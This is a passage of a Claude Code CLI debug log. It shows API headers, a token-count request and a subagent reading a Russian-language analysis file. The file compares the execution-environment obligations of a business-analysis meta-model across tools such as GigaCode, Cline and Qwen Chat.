\"Accept-Encoding\",\n[2026-09-29T07:46:40.387Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:40.394Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:40.397Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:40.400Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:40.405Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:40.408Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:40.414Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:40.423Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:40.427Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:40.430Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:40.434Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:40.437Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:40.443Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:40.446Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:40.451Z] [STDOUT]   \"request-id\": \"req_011CfXMrDNLCfWN3pyy5mghJ\",\n[2026-09-29T07:46:40.454Z] [STDOUT]   \"traceresponse\": \"00-f53cdcd583dec5e849460e302580d2bd-e0e893f731b07345-01\",\n[2026-09-29T07:46:40.458Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:40.460Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:40.468Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:40.471Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:40.475Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:40.479Z] [STDOUT]   \"cf-ray\": \"a42960109bed29ad-FRA\",\n[2026-09-29T07:46:40.482Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:40.487Z] [STDOUT] [log_894501] response parsed {\n[2026-09-29T07:46:40.490Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:40.495Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:40.500Z] [STDOUT]   body: X {\n[2026-09-29T07:46:40.504Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:40.506Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:40.509Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:40.517Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:40.520Z] [STDOUT]     },\n[2026-09-29T07:46:40.524Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:40.530Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:40.535Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:40.539Z] [STDOUT]   },\n[2026-09-29T07:46:40.542Z] [STDOUT]   durationMs: 699,\n[2026-09-29T07:46:40.545Z] [STDOUT] }\n[2026-09-29T07:46:40.552Z] [INFO] {\n[2026-09-29T07:46:40.552Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"message\": {\n[2026-09-29T07:46:40.552Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:40.552Z] [INFO]     \"id\": \"msg_011CfXMr91e3aR7gMqwJm1HG\",\n[2026-09-29T07:46:40.552Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:40.552Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:40.552Z] [INFO]     \"content\": [\n[2026-09-29T07:46:40.552Z] [INFO]       {\n[2026-09-29T07:46:40.552Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:40.552Z] [INFO]         \"id\": \"toolu_01EXa7MimN8MK7WZfDqP6uxg\",\n[2026-09-29T07:46:40.552Z] [INFO]         \"name\": \"Read\",\n[2026-09-29T07:46:40.552Z] [INFO]         \"input\": {\n[2026-09-29T07:46:40.552Z] [INFO]           \"file_path\": \"/home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bplthp03z.txt\"\n[2026-09-29T07:46:40.552Z] [INFO]         },\n[2026-09-29T07:46:40.552Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:40.552Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:40.552Z] [INFO]         }\n[2026-09-29T07:46:40.552Z] [INFO]       }\n[2026-09-29T07:46:40.552Z] [INFO]     ],\n[2026-09-29T07:46:40.552Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:40.552Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:40.552Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:40.552Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:40.552Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:40.552Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:40.552Z] [INFO]       \"cache_creation_input_tokens\": 1204,\n[2026-09-29T07:46:40.552Z] [INFO]       \"cache_read_input_tokens\": 100366,\n[2026-09-29T07:46:40.552Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:40.552Z] [INFO]         \"ephemeral_5m_input_tokens\": 1204,\n[2026-09-29T07:46:40.552Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:40.552Z] [INFO]       },\n[2026-09-29T07:46:40.552Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:46:40.552Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:40.552Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:40.552Z] [INFO]     },\n[2026-09-29T07:46:40.552Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:40.552Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:40.552Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:40.552Z] [INFO]   },\n[2026-09-29T07:46:40.552Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"uuid\": \"726e365e-3a0c-48e5-b317-3c7635095573\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:39.567Z\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"request_id\": \"req_011CfXMr8UeSjuHZPrMNut12\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:40.552Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:40.552Z] [INFO] }\n[2026-09-29T07:46:40.558Z] [INFO] {\n[2026-09-29T07:46:40.558Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"description\": \"Reading ~/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bplthp03z.txt\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"usage\": {\n[2026-09-29T07:46:40.558Z] [INFO]     \"total_tokens\": 101968,\n[2026-09-29T07:46:40.558Z] [INFO]     \"tool_uses\": 31,\n[2026-09-29T07:46:40.558Z] [INFO]     \"duration_ms\": 130291\n[2026-09-29T07:46:40.558Z] [INFO]   },\n[2026-09-29T07:46:40.558Z] [INFO]   \"last_tool_name\": \"Read\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"uuid\": \"582bad94-22fb-45c2-b7ce-9abb4f2d3bdb\",\n[2026-09-29T07:46:40.558Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:40.558Z] [INFO] }\n[2026-09-29T07:46:40.560Z] [STDOUT] [log_0416bb] sending request {\n[2026-09-29T07:46:40.564Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:40.566Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:40.571Z] [STDOUT]   options: {\n[2026-09-29T07:46:40.575Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:40.579Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:40.582Z] [STDOUT]     body: {\n[2026-09-29T07:46:40.585Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:40.593Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:40.602Z] [STDOUT]       tools: [],\n[2026-09-29T07:46:40.604Z] [STDOUT]     },\n[2026-09-29T07:46:40.608Z] [STDOUT]   },\n[2026-09-29T07:46:40.617Z] [STDOUT]   headers: {\n[2026-09-29T07:46:40.625Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:40.627Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:46:40.648Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:40.651Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:40.655Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:40.663Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:40.667Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:40.671Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:40.677Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:46:40.680Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:40.683Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:40.685Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:40.688Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:40.690Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:40.693Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:40.701Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:40.708Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:40.714Z] [STDOUT]   },\n[2026-09-29T07:46:40.723Z] [STDOUT] }\n[2026-09-29T07:46:40.726Z] [STDOUT] [log_0416bb, request-id: \"req_011CfXMrGeGUnQ72W5pdmND3\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 193ms\n[2026-09-29T07:46:40.734Z] [STDOUT] [log_0416bb] response start {\n[2026-09-29T07:46:40.739Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:40.747Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:40.751Z] [STDOUT]   headers: {\n[2026-09-29T07:46:40.755Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:40.762Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:40.767Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:40.771Z] [STDOUT]     \"cf-ray\": \"a42960158954dbb5-FRA\",\n[2026-09-29T07:46:40.774Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:40.779Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:46:40.782Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:40.786Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:40.788Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:39 GMT\",\n[2026-09-29T07:46:40.793Z] [STDOUT]     \"request-id\": \"req_011CfXMrGeGUnQ72W5pdmND3\",\n[2026-09-29T07:46:40.795Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:40.798Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=78\",\n[2026-09-29T07:46:40.801Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:40.805Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:40.807Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:40.810Z] [STDOUT]   },\n[2026-09-29T07:46:40.813Z] [STDOUT]   durationMs: 193,\n[2026-09-29T07:46:40.818Z] [STDOUT] }\n[2026-09-29T07:46:40.820Z] [STDOUT] [log_0416bb] response parsed {\n[2026-09-29T07:46:40.824Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:46:40.828Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:40.832Z] [STDOUT]   body: {\n[2026-09-29T07:46:40.837Z] [STDOUT]     input_tokens: 15355,\n[2026-09-29T07:46:40.848Z] [STDOUT]     _request_id: \"req_011CfXMrGeGUnQ72W5pdmND3\",\n[2026-09-29T07:46:40.856Z] [STDOUT]   },\n[2026-09-29T07:46:40.859Z] [STDOUT]   durationMs: 194,\n[2026-09-29T07:46:40.869Z] [STDOUT] }\n[2026-09-29T07:46:40.893Z] [INFO] {\n[2026-09-29T07:46:40.893Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:40.893Z] [INFO]   \"message\": {\n[2026-09-29T07:46:40.893Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:40.893Z] [INFO]     \"content\": [\n[2026-09-29T07:46:40.893Z] [INFO]       {\n[2026-09-29T07:46:40.893Z] [INFO]         \"tool_use_id\": \"toolu_01EXa7MimN8MK7WZfDqP6uxg\",\n[2026-09-29T07:46:40.893Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:40.893Z] [INFO]         \"content\": \"1\\t## \u0421\u043b\u043e\u0439 1. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n2\\t\\n3\\t\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u043d\u043e \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:\\n4\\t\u043a\u0430\u043a \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c \u0433\u0440\u0430\u0444, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u042d\u0442\u0438\\n5\\t\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b. \u0422\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u0441 \u0442\u0435\u043c,\\n6\\t\u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u0430\u0445.\\n7\\t\\n8\\t| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0413\u0434\u0435 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | \u0421\u0440\u0435\u0434\u0430 1: \u043f\u0430\u043a\u0435\u0442 GigaCode | \u0421\u0440\u0435\u0434\u0430 2: \u043f\u0430\u043a\u0435\u0442 Cline | \u041a\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c |\\n9\\t|---------------|-------------------|--------------------------|----------------------|----------------------|\\n10\\t| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 Working \u2192 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0434\u0451\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e ([\u0413-26](#\u0433-26)) |\\n11\\t| \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443 \u0440\u0435\u0431\u0440\u0430 (`EP-R3`, `EP-R5`) | [L227, L229](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L227-L229) | 17 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432 \u0432 YAML \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f; \u0432\u0435\u0442\u0432\u0438 \u043f\u0440\u043e\u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 (`P11`) | \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435\u0442 | Runner ([\u0413-28](#\u0433-28)) |\\n12\\t| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0443\u0437\u043b\u0430 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 | [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50): `Gate` \u2014 \u00ab\u0432 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb | \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 (`P10`) | \u0422\u043e\u043b\u044c\u043a\u043e Working \u0438 Release | Runner ([\u0413-29](#\u0433-29)) |\\n13\\t| \u041e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach (`EP-R7`) | [L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231) | \u041d\u043e\u043b\u044c \u043f\u043e\u043f\u044b\u0442\u043e\u043a; \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 (`P12`) | \u041f\u043e\u0432\u0442\u043e\u0440 \u2014 \u0441 \u043d\u043e\u0432\u044b\u043c TASK ID | Runner ([\u0413-32](#\u0433-32), [\u0413-33](#\u0433-33)) |\\n14\\t| \u0412\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (`EP-R8`) | [L232](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L232) | `halt` \u2014 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 | \u041d\u0435\u0442 | Runner ([\u0413-31](#\u0433-31)) |\\n15\\t| Append-only \u0436\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 (`EP-R9`) | [L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L233) | \u0415\u0441\u0442\u044c: \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e runner | \u0415\u0441\u0442\u044c trace \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | Runner \u2014 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 ([\u0413-35](#\u0433-35)) |\\n16\\t| \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 (G-human) | `Gate` \u0432 [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50) | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0441 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u043c \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 `approval` \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c ([\u0413-18 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-18)) | Runner + \u0447\u0435\u043b\u043e\u0432\u0435\u043a |\\n17\\t\\n18\\t\u0412\u044b\u0432\u043e\u0434 \u043f\u043e \u0441\u043b\u043e\u044e 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u043d\u0430\u0442\u044c \u0430\u0433\u0435\u043d\u0442\u00bb, \u0430\\n19\\t\u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0430\u0433\u0435\u043d\u0442\u0430\u00bb. \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b\\n20\\t\u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u043a \u0441\u0440\u0435\u0434\u0435, \u043a\u0440\u043e\u043c\u0435 `EP-R8`, \u0433\u0434\u0435 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439\\n21\\t\u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb ([\u0413-27](#\u0433-27)). \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n22\\t\u043c\u0435\u0441\u0442\u0435, \u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u2014 \u0435\u0441\u043b\u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.\\n23\\t\\n24\\t## \u0421\u043b\u043e\u0439 2. \u0421\u0440\u0435\u0434\u044b: \u043a\u0442\u043e \u043a\u0430\u043a\u0443\u044e \u0440\u043e\u043b\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n25\\t\\n26\\t\u0421\u043b\u043e\u0432\u043e \u00ab\u0441\u0440\u0435\u0434\u0430\u00bb \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0445 \u0440\u043e\u043b\u0435\u0439. \u0412 \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0438 \u0438\u0445 \u043b\u0435\u0433\u043a\u043e\\n27\\t\u0441\u043c\u0435\u0448\u0430\u0442\u044c; \u043d\u0438\u0436\u0435 \u043a\u0430\u0436\u0434\u0430\u044f \u0440\u043e\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e.\\n28\\t\\n29\\t| \u0420\u043e\u043b\u044c | \u0421\u0440\u0435\u0434\u0430 1: GigaCode CLI | \u0421\u0440\u0435\u0434\u0430 2: Cline + Mango AI | \u0421\u0440\u0435\u0434\u0430 3: Qwen Chat | \u0421\u0440\u0435\u0434\u0430 4: \u0441\u0435\u0440\u0432\u0435\u0440 |\\n30\\t|------|-----------------------|---------------------------|--------------------|-----------------|\\n31\\t| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\n32\\t| \u0410\u0432\u0442\u043e\u0440 